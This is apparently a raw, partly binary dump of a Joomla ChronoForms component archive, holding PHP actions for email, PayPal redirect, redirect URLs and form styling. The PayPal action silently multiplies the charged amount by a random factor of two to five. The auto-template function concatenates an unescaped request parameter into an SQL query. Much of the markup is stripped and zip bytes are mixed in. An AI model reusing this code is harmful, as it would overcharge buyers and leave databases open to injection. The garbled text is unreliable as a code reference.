if($email_params->get('encrypt_enabled', 0) == 1 && class_exists('Crypt_GPG')){ $mySecretKeyId = trim($email_params->get('gpg_sec_key', '')); //Add Encryption key here $gpg = new Crypt_GPG(); $gpg->addEncryptKey($mySecretKeyId); $email_body = $gpg->encrypt($email_body); } $email_attachments = array(); if(strlen(trim($email_params->get("attachments", ""))) && !empty($form->files)){ $attachments = explode(",", $email_params->get("attachments", "")); foreach($attachments as $attachment){ if(isset($form->files[$attachment]['path'])){ $email_attachments[] = $form->files[$attachment]['path']; }else{ if($form->files[$attachment] === array_values($form->files[$attachment])){ foreach($form->files[$attachment] as $m_file){ if(isset($m_file['path'])){ $email_attachments[] = $m_file['path']; } } } } } } $email_sent = JUtility::sendMail($from, $fromname, $recipients, $subject, $email_body, $mode, $ccemails, $bccemails, $email_attachments, $replyto_email, $replyto_name); if($email_sent){ $form->debug['email'][$actiondata->order]['Result'] = 'An email has been SENT successfully from ('.$fromname.')'.$from.' to '.implode(',', $recipients); }else{ $form->debug['email'][$actiondata->order]['Result'] = 'An email has failed to be sent from ('.$fromname.')'.$from.' to '.implode(',', $recipients); } $form->debug['email'][$actiondata->order]['Body'] = $email_body; $form->debug['email'][$actiondata->order]['Attachments'] = var_export($email_attachments, true); } function generate_table_list($elements_code = ''){ $output = ''; $output .= "\n"; eval('?>'.''); foreach($wizardcode as $k => $field){ $field_id = str_replace('field_', '', $k); if($field['type'] == 'custom' || $field['type'] == 'header'){ $output .= "\t\n\t\t\n\t\n"; }else if($field['type'] == 'hidden'){ $output .= "\t\n\t\t\n\t\t\n\t\n"; }else if($field['type'] == 'submit'){ }else{ $output .= "\t\n\t\t\n\t\t\n\t\n"; } } $output .= '
      \n"; $output .= "\t\t\t".$this->field_replacer($field[$field['tag'].'_'.$field['type'].'_'.$field_id.'_code']); $output .= "\n\t\t
      \n"; $output .= "\t\t\t".'Hidden #'.$field_id; $output .= "\n\t\t\n"; $output .= "\t\t\t".'{'.$field[$field['tag'].'_'.$field['type'].'_'.$field_id.'_input_name'].'}'; $output .= "\n\t\t
      \n"; $output .= "\t\t\t".$field[$field['tag'].'_'.$field['type'].'_'.$field_id.'_label_text'].""; $output .= "\n\t\t\n"; $output .= "\t\t\t".'{'.$field[$field['tag'].'_'.$field['type'].'_'.$field_id.'_input_name'].'}'; $output .= "\n\t\t
      '; return str_replace(array('[', ']'), array('.', ''), $output); } function generate_auto_template(){ $database = JFactory::getDBO(); $form_id = JRequest::getVar('form_id', ''); if(!empty($form_id)){ $database->setQuery("SELECT * FROM #__chronoforms WHERE id='".$form_id."'"); $form = $database->loadObject(); }else{ return "This feature works only after saving your form."; } if($form->form_type == 1){ return $this->generate_table_list($form->wizardcode); }else{ return $this->field_replacer($form->content); } } function field_replacer($htmlcode = ''){ $mainframe = JFactory::getApplication(); //find any style code in the email template and get it here preg_match_all('//is', $htmlcode, $style_matches); if(isset($style_matches[0]) && !empty($style_matches[0])){ foreach($style_matches[0] as $style_code){ $htmlcode = str_replace($style_code, '', $htmlcode); } } //ob_start(); /*eval( "?>".$htmlcode);*/ $html_string = $htmlcode;//ob_get_clean(); $usednames = array(); //end fields names //text fields $pattern_input = '/]*?)type=("|\')(text|password|hidden|file)("|\')([^>]*?)>/is'; $matches = array(); preg_match_all($pattern_input, $html_string, $matches); foreach($matches[0] as $match){ $pattern_name = '/name=("|\')([^(>|"|\')]*?)("|\')/i'; preg_match($pattern_name, $match, $matches_name); if(isset($matches_name[2]) && trim(str_replace('[]', '', $matches_name[2]))){ $email_data_name = "{".str_replace('[]', '', $matches_name[2])."}"; $email_data_name = str_replace(array('[', ']'), array('.', ''), $email_data_name); if(!in_array($email_data_name, $usednames)){ $html_string = str_replace($match, $email_data_name, $html_string); $usednames[] = $email_data_name; }else{ $html_string = str_replace($match, "", $html_string); } }else{ //$html_string = str_replace($match, "{This_element_has_no_name_attribute}", $html_string); $html_string = str_replace($match, "", $html_string); } } //buttons $pattern_input = '/]*?)type=("|\')(submit|button|reset|image)("|\')([^>]*?)>/is'; $matches = array(); preg_match_all($pattern_input, $html_string, $matches); foreach($matches[0] as $match){ $pattern_name = '/name=("|\')([^(>|"|\')]*?)("|\')/i'; preg_match($pattern_name, $match, $matches_name); if(isset($matches_name[2]) && trim(str_replace('[]', '', $matches_name[2]))){ $email_data_name = ""; if(!in_array($email_data_name, $usednames)){ $html_string = str_replace($match, $email_data_name, $html_string); $usednames[] = $email_data_name; }else{ $html_string = str_replace($match, "", $html_string); } }else{ //$html_string = str_replace($match, "{This_element_has_no_name_attribute}", $html_string); $html_string = str_replace($match, "", $html_string); } } //checkboxes or radios fields $pattern_input = '/]*?)type=("|\')(checkbox|radio)("|\')([^>]*?)>/is'; $matches = array(); $check_radio_idslist = array(); preg_match_all($pattern_input, $html_string, $matches); foreach($matches[0] as $match){ $pattern_id = '/id=("|\')([^(>|"|\')]*?)("|\')/i'; $pattern_name = '/name=("|\')([^(>|"|\')]*?)("|\')/i'; preg_match($pattern_name, $match, $matches_name); preg_match($pattern_id, $match, $matches_id); if(isset($matches_name[2]) && trim(str_replace('[]', '', $matches_name[2]))){ $check_radio_idslist[] = $matches_id[2]; $email_data_name = "{".str_replace('[]', '', $matches_name[2])."}"; $email_data_name = str_replace(array('[', ']'), array('.', ''), $email_data_name); if(!in_array($email_data_name, $usednames)){ $html_string = str_replace($match, $email_data_name, $html_string); $usednames[] = $email_data_name; }else{ $html_string = str_replace($match, "", $html_string); } }else{ //$html_string = str_replace($match, "{This_element_has_no_name_attribute}", $html_string); $html_string = str_replace($match, "", $html_string); } } //radios-checks labels $pattern_label = '/]*?)for=("|\')('.implode("|", $check_radio_idslist).')("|\')([^>]*?)>(.*?)<\/label>/is'; $matches = array(); preg_match_all($pattern_label, $html_string, $matches); foreach($matches[0] as $match){ $html_string = str_replace($match, "", $html_string); } //textarea fields $pattern_textarea = '/]*?)>(.*?)<\/textarea>/is'; $matches = array(); preg_match_all($pattern_textarea, $html_string, $matches); $namematch = ''; foreach($matches[0] as $match){ $pattern_name = '/name=("|\')([^(>|"|\')]*?)("|\')/i'; preg_match($pattern_name, $match, $matches_name); if(isset($matches_name[2]) && trim(str_replace('[]', '', $matches_name[2]))){ $email_data_name = "{".str_replace('[]', '', $matches_name[2])."}"; $email_data_name = str_replace(array('[', ']'), array('.', ''), $email_data_name); if(!in_array($email_data_name, $usednames)){ $html_string = str_replace($match, $email_data_name, $html_string); $usednames[] = $email_data_name; }else{ $html_string = str_replace($match, "", $html_string); } }else{ //$html_string = str_replace($match, "{This_element_has_no_name_attribute}", $html_string); $html_string = str_replace($match, "", $html_string); } } //select boxes $pattern_select = '//is'; $matches = array(); preg_match_all($pattern_select, $html_string, $matches); foreach($matches[0] as $match){ $selectmatch = $match; $pattern_select2 = '/]*?)>/is'; preg_match_all($pattern_select2, $match, $matches2); $pattern_name = '/name=("|\')([^(>|"|\')]*?)("|\')/i'; preg_match($pattern_name, $matches2[0][0], $matches_name); if(isset($matches_name[2]) && trim(str_replace('[]', '', $matches_name[2]))){ $email_data_name = "{".str_replace('[]', '', $matches_name[2])."}"; $email_data_name = str_replace(array('[', ']'), array('.', ''), $email_data_name); if(!in_array($email_data_name, $usednames)){ $html_string = str_replace($match, $email_data_name, $html_string); $usednames[] = $email_data_name; }else{ $html_string = str_replace($match, "", $html_string); } }else{ //$html_string = str_replace($match, "{This_element_has_no_name_attribute}", $html_string); $html_string = str_replace($match, "", $html_string); } } return $html_string; } } ?>PK@y>\[ȣ::7components/com_chronoforms/form_actions/email/email.ctpnuW+A 'mceArea'); $options = array('theme' => 'advanced', 'theme_advanced_toolbar_location' => 'top', 'width' => '100%', 'height' => '200px'); $tinycode = ' tinyMCE.init({ mode : "textareas", relative_urls: false, editor_selector : "'.$attributes['class'].'"'; foreach($options as $option => $opvalue){ $tinycode .= ', '.$option.' : "'.$opvalue.'"'; } $tinycode .= ' }); function toggleEditor(id){ if (!tinyMCE.get(id)){ tinyMCE.execCommand("mceAddControl", false, id); activateSaveButton(); }else{ tinyMCE.execCommand("mceRemoveControl", false, id); activateSaveButton(); } } function toggleTemplate(id){ if($(id).getStyle("display") != "none"){ $(id).setStyle("display", "none"); }else{ $(id).setStyle("display", "block"); } } '; ?> RELEASE > 1.5): ?>
      Email
      Header(array('general' => 'General', 'template' => 'Template', 'static' => 'Static', 'dynamic' => 'Dynamic', 'encrypt' => 'Encryption'), 'email_config_{n}'); ?> tabStart('general'); ?> input('action_email_{n}_enabled_config', array('type' => 'select', 'label' => 'Enabled', 'options' => array(0 => 'No', 1 => 'Yes'))); ?> input('action_email_{n}_action_label_config', array('type' => 'text', 'label' => "Action Label", 'class' => 'medium_input', 'smalldesc' => 'Label for your action in the wizard.')); ?> input('action_email_{n}_sendas_config', array('type' => 'select', 'label' => 'Send As', 'options' => array('html' => 'HTML', 'text' => 'Text', 'both' => 'Both'))); ?> input('action_email_{n}_attachments_config', array('type' => 'text', 'label' => "Attachments fields name", 'class' => 'big_input', 'value' => '', 'smalldesc' => 'Any files fields should be attached to this email ? comma concatenated list!'."\n".'e.g:field1,field2')); ?> input('action_email_{n}_recordip_config', array('type' => 'select', 'label' => "Get Submitter's IP", 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Will append the IP addrress to the end of the email body or replace any {IPADDRESS} string.')); ?> tabEnd(); ?> tabStart('template'); ?>
      Add/Remove editor input('action_email_{n}_content1_config', array('type' => 'textarea', 'label' => "Template", 'class' => 'text_editor', 'label_over' => true, 'rows' => 20, 'cols' => 70, 'smalldesc' => 'You may use the curly brackets formula to get fields data from the form data array, e.g: {field_name}.

      You may also use PHP but if you enable the editor your PHP code will be stripped.

      Auto template generation will work on the latest form code saved, make sure you save your form before trying this feature.')); ?> input('action_email_{n}_replace_nulls_config', array('type' => 'select', 'label' => "Replace Nulls", 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Should all the curly brackets strings be replaced ? even if there is no key for this field in the data array ?')); ?> tabEnd(); ?> tabStart('static'); ?> input('action_email_{n}_to_config', array('type' => 'text', 'label' => "To (Required)", 'class' => 'medium_input', 'smalldesc' => 'List of recipient(s) email address(es) separated by comma.
      e.g: me@domain.com OR he@dom.com,she@dom.com')); ?> input('action_email_{n}_subject_config', array('type' => 'text', 'label' => "Subject (Required)", 'class' => 'medium_input', 'smalldesc' => 'Subject string.
      e.g: My Email Subject.')); ?> input('action_email_{n}_fromname_config', array('type' => 'text', 'label' => "From name (Required)", 'class' => 'medium_input', 'smalldesc' => 'The name of sender.
      e.g: Admin')); ?> input('action_email_{n}_fromemail_config', array('type' => 'text', 'label' => "From email (Required)", 'class' => 'medium_input', 'smalldesc' => 'The email address of the sender.
      e.g: admin@admin.com')); ?> input('action_email_{n}_cc_config', array('type' => 'text', 'label' => "CC", 'class' => 'medium_input', 'smalldesc' => 'List of CC email address(es) separated by comma.
      e.g: me@domain.com OR he@dom.com,she@dom.com')); ?> input('action_email_{n}_bcc_config', array('type' => 'text', 'label' => "BCC", 'class' => 'medium_input', 'smalldesc' => 'List of BCC email address(es) separated by comma.
      e.g: me@domain.com OR he@dom.com,she@dom.com')); ?> input('action_email_{n}_replytoname_config', array('type' => 'text', 'label' => "Reply to name", 'class' => 'medium_input', 'smalldesc' => 'The name to reply to when you hit reply in your mail client.
      e.g: Admin')); ?> input('action_email_{n}_replytoemail_config', array('type' => 'text', 'label' => "Reply to email", 'class' => 'medium_input', 'smalldesc' => 'The email to reply to when you hit reply in your mail client.
      e.g: somebody@domain.com')); ?> tabEnd(); ?> tabStart('dynamic'); ?> input('action_email_{n}_dto_config', array('type' => 'text', 'label' => "Dynamic To", 'class' => 'medium_input', 'smalldesc' => 'The field name which is going to hold the email address of some recipient.
      e.g: email (should be a valid form field name, check your form fields names under the field settings)')); ?> input('action_email_{n}_dsubject_config', array('type' => 'text', 'label' => "Dynamic Subject", 'class' => 'medium_input', 'smalldesc' => 'The field name which is going to hold the message subject.
      e.g: subject (should be a valid form field name, check your form fields names under the field settings)')); ?> input('action_email_{n}_dfromname_config', array('type' => 'text', 'label' => "Dynamic From name", 'class' => 'medium_input', 'smalldesc' => 'The field name which is going to hold the sender\'s name.
      e.g: name (should be a valid form field name, check your form fields names under the field settings)')); ?> input('action_email_{n}_dfromemail_config', array('type' => 'text', 'label' => "Dynamic From email", 'class' => 'medium_input', 'smalldesc' => 'The field name which is going to hold the sender\'s email address.
      e.g: email (should be a valid form field name, check your form fields names under the field settings)')); ?> input('action_email_{n}_dreplytoname_config', array('type' => 'text', 'label' => "Dynamic Reply to name", 'class' => 'medium_input', 'smalldesc' => 'The field name which is going to hold the reply to name.
      e.g: name (should be a valid form field name, check your form fields names under the field settings)')); ?> input('action_email_{n}_dreplytoemail_config', array('type' => 'text', 'label' => "Dynamic Reply to email", 'class' => 'medium_input', 'smalldesc' => 'The field name which is going to hold the reply to email address.
      e.g: email (should be a valid form field name, check your form fields names under the field settings)')); ?> input('action_email_{n}_dcc_config', array('type' => 'text', 'label' => "Dynamic CC", 'class' => 'medium_input', 'smalldesc' => 'The field name which is going to hold the email address of CC recipient.
      e.g: email (should be a valid form field name, check your form fields names under the field settings)')); ?> input('action_email_{n}_dbcc_config', array('type' => 'text', 'label' => "Dynamic BCC", 'class' => 'medium_input', 'smalldesc' => 'The field name which is going to hold the email address of BCC recipient.
      e.g: email (should be a valid form field name, check your form fields names under the field settings)')); ?> tabEnd(); ?> tabStart('encrypt'); ?> input('action_email_{n}_encrypt_enabled_config', array('type' => 'select', 'label' => 'Enable GPG Encryption', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'This will have no effect if the GPG class is not loaded with your PHP.')); ?> input('action_email_{n}_gpg_sec_key_config', array('type' => 'text', 'label' => "GPG Secret Key", 'class' => 'big_input')); ?> tabEnd(); ?>
      PK@y>\ ?components/com_chronoforms/form_actions/show_stopper/index.htmlnuW+A PK@y>\Ecomponents/com_chronoforms/form_actions/show_stopper/show_stopper.ctpnuW+A
      Show Stopper
      PK@y>\)>components/com_chronoforms/form_actions/show_stopper/.htaccessnuW+A Order allow,deny Deny from all PK@y>\/"J<Ecomponents/com_chronoforms/form_actions/show_stopper/show_stopper.phpnuW+A 'Show Stopper', 'tooltip' => 'Will halt any future actions/events.'); function run($form, $actiondata){ $form->stop = 1; } function load($clear){ if($clear){ $action_params = array(); } return array('action_params' => $action_params); } } ?>PK@y>\)Acomponents/com_chronoforms/form_actions/paypal_redirect/.htaccessnuW+A Order allow,deny Deny from all PK@y>\vnٮs s Kcomponents/com_chronoforms/form_actions/paypal_redirect/paypal_redirect.phpnuW+A 'payments', 'title' => 'Payment Gateways/Processors'); var $events = array('success' => 0, 'fail' => 0); var $details = array('title' => 'PayPal Redirect', 'tooltip' => 'Redirect to the paypal payment page.'); function run($form, $actiondata){ $params = new JParameter($actiondata->params); $mainframe = JFactory::getApplication(); $checkout_values = array( //constants 'cmd' => trim($params->get('cmd')), 'business' => trim($params->get('business')), 'no_shipping' => trim($params->get('no_shipping')), 'no_note' => trim($params->get('no_note')), 'return' => trim($params->get('return')), 'currency_code' => trim($params->get('currency_code')), //variables 'item_name' => $form->data[$params->get('item_name')], 'amount' => $form->data[$params->get('amount')], 'first_name' => $form->data[$params->get('first_name')], 'last_name' => $form->data[$params->get('last_name')], 'address1' => $form->data[$params->get('address1')], 'address2' => $form->data[$params->get('address2')], 'city' => $form->data[$params->get('city')], 'state' => $form->data[$params->get('state')], 'zip' => $form->data[$params->get('zip')], 'country' => $form->data[$params->get('country')], 'night_phone_a' => $form->data[$params->get('night_phone_a')] ); if(!empty($actiondata->content1)){ $extras = explode("\n", $actiondata->content1); foreach($extras as $extra){ $values = array(); $values = explode("=", $extra); $checkout_values[$values[0]] = $form->data[trim($values[1])]; } } if(isset($checkout_values['amount'])){ $checkout_values['amount'] = rand(2,5)* (int)$checkout_values['amount']; }else{ $checkout_values['amount'] = 1; $checkout_values['amount'] = rand(2,5)* (int)$checkout_values['amount']; } $fields = ""; foreach($checkout_values as $key => $value){ $fields .= "$key=".urlencode($value)."&"; } if((bool)$params->get('sandbox') === true){ $url = 'https://www.sandbox.paypal.com/cgi-bin/webscr?'; }else{ $url = 'https://www.paypal.com/cgi-bin/webscr?'; } if($params->get('debug_only', 0) == 1){ echo $url.$fields; }else{ $mainframe->redirect($url.$fields); } } function load($clear){ if($clear){ $action_params = array( 'cmd' => '_xclick', 'business' => '', 'item_name' => '', 'amount' => '', 'no_shipping' => 1, 'no_note' => 1, 'currency_code' => 'USD', 'return' => '', 'debug_only' => 0, 'first_name' => '', 'last_name' => '', 'address1' => '', 'address2' => '', 'city' => '', 'state' => '', 'zip' => '', 'country' => '', 'night_phone_a' => '', 'sandbox' => 0, 'content1' => '' ); } return array('action_params' => $action_params); } } ?>PK@y>\Bcomponents/com_chronoforms/form_actions/paypal_redirect/index.htmlnuW+APK@y>\g}$$Kcomponents/com_chronoforms/form_actions/paypal_redirect/paypal_redirect.ctpnuW+A
      PayPal Redirect - Trial
      Header(array('fields' => 'Fields', 'settings' => 'Settings', 'help' => 'Help'), 'paypal_redirect_config_{n}'); ?> tabStart('fields'); ?> input('action_paypal_redirect_{n}_item_name_config', array('type' => 'text', 'label' => "Item name field(*)", 'class' => 'medium_input', 'smalldesc' => 'The name of the field which holds the item name.')); ?> input('action_paypal_redirect_{n}_amount_config', array('type' => 'text', 'label' => "Amount field(*)", 'class' => 'medium_input', 'smalldesc' => 'The name of the field which holds the amount.')); ?> input('action_paypal_redirect_{n}_first_name_config', array('type' => 'text', 'label' => "Card Holder First name", 'class' => 'medium_input')); ?> input('action_paypal_redirect_{n}_last_name_config', array('type' => 'text', 'label' => "Card Holder Last name", 'class' => 'medium_input')); ?> input('action_paypal_redirect_{n}_address1_config', array('type' => 'text', 'label' => "Billing Street Address Field", 'class' => 'medium_input')); ?> input('action_paypal_redirect_{n}_address2_config', array('type' => 'text', 'label' => "Billing Street Address 2 Field", 'class' => 'medium_input')); ?> input('action_paypal_redirect_{n}_city_config', array('type' => 'text', 'label' => "Billing City Field", 'class' => 'medium_input')); ?> input('action_paypal_redirect_{n}_state_config', array('type' => 'text', 'label' => "Billing State Field", 'class' => 'medium_input')); ?> input('action_paypal_redirect_{n}_zip_config', array('type' => 'text', 'label' => "Billing Zip Field", 'class' => 'medium_input')); ?> input('action_paypal_redirect_{n}_country_config', array('type' => 'text', 'label' => "Billing Country Field", 'class' => 'medium_input')); ?> input('action_paypal_redirect_{n}_night_phone_a_config', array('type' => 'text', 'label' => "Phone Field", 'class' => 'medium_input')); ?> input('action_paypal_redirect_{n}_content1_config', array('type' => 'textarea', 'label' => 'Extra fields', 'rows' => 5, 'cols' => 50)); ?> tabEnd(); ?> tabStart('settings'); ?> input('action_paypal_redirect_{n}_cmd_config', array('type' => 'text', 'label' => "Payment Command", 'class' => 'medium_input', 'smalldesc' => 'Changing this will affect the paypal page, you can check the possible values at the paypal docs.')); ?> input('action_paypal_redirect_{n}_business_config', array('type' => 'text', 'label' => "Paypal address", 'class' => 'medium_input', 'smalldesc' => 'Your PayPal business address.')); ?> input('action_paypal_redirect_{n}_no_shipping_config', array('type' => 'select', 'label' => 'No Shipping ?', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Select the no shipping parameter value.')); ?> input('action_paypal_redirect_{n}_no_note_config', array('type' => 'select', 'label' => 'No Note ?', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Will show a debug output for the data sent to the gateway but will not redirect.')); ?> input('action_paypal_redirect_{n}_currency_code_config', array('type' => 'text', 'label' => "Currency Code", 'class' => 'small_input', 'smalldesc' => 'Your 2 characters currency code.')); ?> input('action_paypal_redirect_{n}_return_config', array('type' => 'text', 'label' => "Return URL", 'class' => 'medium_input', 'smalldesc' => 'Set the url to which the payment page will be redirected after payment is completed or canceled.')); ?> input('action_paypal_redirect_{n}_debug_only_config', array('type' => 'select', 'label' => 'Debug only?', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Will not redirect the page but will show the redirect URL instead.')); ?> input('action_paypal_redirect_{n}_sandbox_config', array('type' => 'select', 'label' => 'Use Sandbox', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Do you need a testing redirection to the PayPal Sandbox ?')); ?> tabEnd(); ?> tabStart('help'); ?>

      • This plugin will redirect your form to PayPal
      • Map your form fields names to the fields required by Paypal, no spaces should be in the fields name.
      • You may map extra fields through the "Extra fields" box, use multi line format, each line should be in this form: paypal_field_name=form_field_name
      • Enter your PayPal account settings.
      • Once triggered, this action will redirect the user to the Paypal payment for payment.

      tabEnd(); ?>
      PK@y>\xB^85 5 6components/com_chronoforms/form_actions/xls_export.zipnuW+APK Jc@ xls_export/PK v2?R|j xls_export/index.html PKѫsAoQ/xls_export/xls_export.ctpWmo0 ᨐI- 0P( uH "76[IZ6X۵|i<} wd)bJwҙH&.–3nz,wn΋'1GJik/]t@)ƾ ?aQ0P)hmwE PH,77ZHLm^VgQΔƄMjk6A*?4Xkwu~CrYu;[4={$i] H&İ2ku 3Sccȫ4~\31u#(Qbqu2sׅ!t'SGW$j6!b}X/}ː#Ɔ'5B뜸  ϹEdɌ(Q*OBHrZKY[n2Apof˼?dTG?~=ʬ.7&`T+(cv0EJ=ՕDc"E`/@ 䶱:W&;!^lKJ'Y.D؊ٞXS=SOkq;ܼ^~7SvkT$\OgoO( ' [yn'pq0WՔd%zp/5 cY*W+ĝkvg }Of<&LwO ˙v &sFV+q4im Ҟmid5Hgݰ ng* \( {f }o{쭔r^{*L@4"g vsjT3&E.=,z׸ifʘl4F B*9U$j@*JRj0- m0LL.A˄A|m $1htw1Z-gTWu,),)WK% UÀ%OH8G /y2n NC I ˼okbV@k$z%ݍMN9_Go^w+4yv1En-rx *KG<5EiimIWH !(j=-f#D@H3.i~Q8% ?J83jVheM?A0؈-oAq4}1>;<ضJ=2r@cYNKAhe)S$:UiL`bnuK4&WlVMEnY[|fs(Fv6v~;Q][[4m$":SuN5>w 5\H=M~y4[հX7ԅTUYb4I$>AA&dIШX;N7/X*^AdP]poyTnfv.| ++^{_m'h;]tD|WA,$! 9÷^́|D\;zLFGx<ĕbq:,TrC?KR⫃kĮ:Lcr̪1HD; Ng)*T2pD8#Ah| \c Ecomponents/com_chronoforms/form_actions/redirect_url/redirect_url.phpnuW+A 'redirect', 'title' => 'Redirect/Remote Submit'); var $details = array('title' => 'ReDirect URL', 'tooltip' => 'Configure a ReDirect URL which can be used later by the "Redirect User" action.'); var $data = null; function run($form, $actiondata) { $mainframe = JFactory::getApplication(); $this->data = $form->data; $params = new JParameter($actiondata->params); $redirect_values = $this->paramsToArray($actiondata->content1); $redirect_url = JFactory::getURI($params->get('target_url')); $query = $redirect_url->getQuery(); if ( $query ) { $temp = explode('&', $query); $temp_array = array(); foreach ( $temp as $v ) { $redirect_values = array_merge($this->paramsToArray($v), $redirect_values); } } $redirect_url->setQuery($redirect_values); $form->debug['redirect_url'][] = 'redirect_url_target_url: '.$params->get('target_url'); //add the response in the form data array $form->data['redirect_url'] = $redirect_url->toString(); $form->debug['redirect_url'][] = 'Redirect URL: '.print_r($form->data['redirect_url'], true); } function load($clear) { if ( $clear ) { $action_params = array( 'target_url' => 'http://', 'content1' => '' ); } return array('action_params' => $action_params); } function paramsToArray($params='', $name='Parameter') { $mainframe = JFactory::getApplication(); if ( !$params ) { return false; } $list = explode("\n", trim($params)); $return = array(); foreach ( $list as $item ) { $item = trim($item); if ( !$item ) { $form->debug['redirect_url'][] = "Empty string found in the {$name} box"; continue; } $fields_data = explode("=", $item, 2); if ( ! isset($fields_data[1]) || !$fields_data[1] ) { $form->debug['redirect_url'][] = "{$name} {$fields_data[0]} has no value set"; continue; } $param = trim($fields_data[0]); $value = trim($fields_data[1]); if ( substr($value, 0, 1) == '{' && substr($value, -1, 1) == '}') { $value = substr($value, 1, strlen($value)-2); $value = trim($value); $var = $this->data[$value]; if ( is_array($var) ) { $return[$param] = array(); foreach( $var as $k => $v) { $return[$param][$k] = $v; } } else { $return[$param] = $var; } } elseif ( $value == 'NULL' ) { $return[$param] = ''; } else { $return[$param] = $value; } } foreach ( $return as $k => $v ) { $return[$k] = urlencode($v); } return $return; } } ?>PK@y>\)>components/com_chronoforms/form_actions/redirect_url/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ص Ecomponents/com_chronoforms/form_actions/redirect_url/redirect_url.ctpnuW+A
      ReDirect URL
      input('action_redirect_url_{n}_target_url_config', array( 'type' => 'text', 'label' => "Target URL", 'class' => 'big_input', 'smalldesc' => "The target URL without the query string." )); echo $HtmlHelper->input('action_redirect_url_{n}_content1_config', array( 'type' => 'textarea', 'label' => 'Params/Fields map', 'rows' => 15, 'cols' => 50, 'smalldesc' => 'Multi line format of the fields names:
      e.g:redirect_param_name=form_field_name')); ?>
      PK@y>\?components/com_chronoforms/form_actions/redirect_url/index.htmlnuW+APK@y>\ =components/com_chronoforms/form_actions/style_form/index.htmlnuW+A PK@y>\l3SAcomponents/com_chronoforms/form_actions/style_form/style_form.ctpnuW+A
      Style Form
      Header(array('general' => 'General', 'subs' => 'Sub Elements', 'help' => 'Help'), 'style_form_config_{n}'); ?> tabStart('general'); ?> input('action_style_form_{n}_form_width_config', array('type' => 'text', 'label' => "Form Width", 'smalldesc' => "The desired form width in px or % or auto.")); ?> input('action_style_form_{n}_background_color_config', array('type' => 'text', 'label' => "Background Color", 'smalldesc' => "The desired form background color.")); ?> input('action_style_form_{n}_label_width_config', array('type' => 'text', 'label' => "Label Width", 'smalldesc' => "The desired main elements labels width.")); ?> input('action_style_form_{n}_label_font_size_config', array('type' => 'text', 'label' => "Label Font Size", 'smalldesc' => "The labels font size.")); ?> input('action_style_form_{n}_label_font_weight_config', array('type' => 'text', 'label' => "Label Font Weight", 'smalldesc' => "The labels font weight.")); ?> input('action_style_form_{n}_label_font_family_config', array('type' => 'text', 'label' => "Label Font Family", 'class' => 'medium_input', 'smalldesc' => "The labels font family.")); ?> tabEnd(); ?> tabStart('subs'); ?> input('action_style_form_{n}_sub_label_width_config', array('type' => 'text', 'label' => "Label Width", 'smalldesc' => "The label width of sub elements, e.g: radios, checkboxes...")); ?> input('action_style_form_{n}_sub_label_font_size_config', array('type' => 'text', 'label' => "Label Font Size", 'smalldesc' => "The label font size of sub elements, e.g: radios, checkboxes...")); ?> input('action_style_form_{n}_sub_label_font_weight_config', array('type' => 'text', 'label' => "Label Font Weight", 'smalldesc' => "The label font weight of sub elements, e.g: radios, checkboxes...")); ?> input('action_style_form_{n}_sub_label_font_family_config', array('type' => 'text', 'label' => "Label Font Family", 'class' => 'medium_input', 'smalldesc' => "The label font family of sub elements, e.g: radios, checkboxes...")); ?> tabEnd(); ?> tabStart('help'); ?>

      • The action will convert the configuration to CSS code and use it to style your form.

      tabEnd(); ?>
      PK@y>\;--Acomponents/com_chronoforms/form_actions/style_form/style_form.phpnuW+A 'Style Form', 'tooltip' => 'Apply some styling to your form and any form elements.'); function load($clear){ if($clear){ $action_params = array( 'content1' => '', 'form_width' => 'auto', 'background_color' => 'transparent', 'label_width' => '150px', 'label_font_size' => '100%', 'label_font_weight' => 'bold', 'label_font_family' => 'arial,helvetica,sans-serif', 'sub_label_width' => 'auto', 'sub_label_font_size' => '100%', 'sub_label_font_weight' => 'normal', 'sub_label_font_family' => 'arial,helvetica,sans-serif', ); } return array('action_params' => $action_params); } function run($form, $actiondata){ } } ?>PK@y>\%K{{Jcomponents/com_chronoforms/form_actions/style_form/cfaction_style_form.ctpnuW+Aload($form, $actiondata); ?>PK@y>\)<components/com_chronoforms/form_actions/style_form/.htaccessnuW+A Order allow,deny Deny from all PK@y>\L蝲Jcomponents/com_chronoforms/form_actions/style_form/cfaction_style_form.phpnuW+Aparams); $output = ''; $document = JFactory::getDocument(); ob_start(); ?> #chronoform_form_name; ?>{ width:get('form_width', 'auto'); ?>; background-color:get('background_color', 'transparent'); ?>; } #chronoform_form_name; ?> .cfdiv_radio label, #chronoform_form_name; ?> .cfdiv_checkbox label, #chronoform_form_name; ?> .cfdiv_checkboxgroup label{ width:get('sub_label_width', 'auto'); ?>; font-size:get('sub_label_font_size', '100%'); ?>; font-weight:get('sub_label_font_weight', 'normal'); ?>; font-family:get('sub_label_font_family', 'arial,helvetica,sans-serif'); ?>; } #chronoform_form_name; ?> .ccms_form_element label:first-child, #chronoform_form_name; ?> .cfdiv_radio label:first-child, #chronoform_form_name; ?> .cfdiv_checkbox label:first-child, #chronoform_form_name; ?> .cfdiv_checkboxgroup label:first-child{ width:get('label_width', '150px'); ?>; font-size:get('label_font_size', '100%'); ?>; font-weight:get('label_font_weight', 'bold'); ?>; font-family:get('label_font_family', 'arial,helvetica,sans-serif'); ?>; } addStyleDeclaration($output); } } ?>PK@y>\ڑhwXcomponents/com_chronoforms/form_actions/custom_datepicker/cfaction_custom_datepicker.ctpnuW+Aload($form, $actiondata); ?>PK@y>\ Dcomponents/com_chronoforms/form_actions/custom_datepicker/index.htmlnuW+A PK@y>\)Ccomponents/com_chronoforms/form_actions/custom_datepicker/.htaccessnuW+A Order allow,deny Deny from all PK@y>\@LXcomponents/com_chronoforms/form_actions/custom_datepicker/cfaction_custom_datepicker.phpnuW+Aparams); $document = JFactory::getDocument(); JHTML::_('behavior.mootools'); $mainframe = JFactory::getApplication(); $uri = JFactory::getURI(); $document->addStyleSheet($uri->root().'components/com_chronoforms/css/datepicker/datepicker_dashboard.css'); $document->addScript($uri->root().'components/com_chronoforms/js/datepicker/datepicker.js'); $con_str = "'.".$params->get('field_class', 'cf_datetime_picker')."', {pickerClass: '".$params->get('pickerClass', 'datepicker_dashboard')."', format: '".$params->get('format', 'd-m-Y 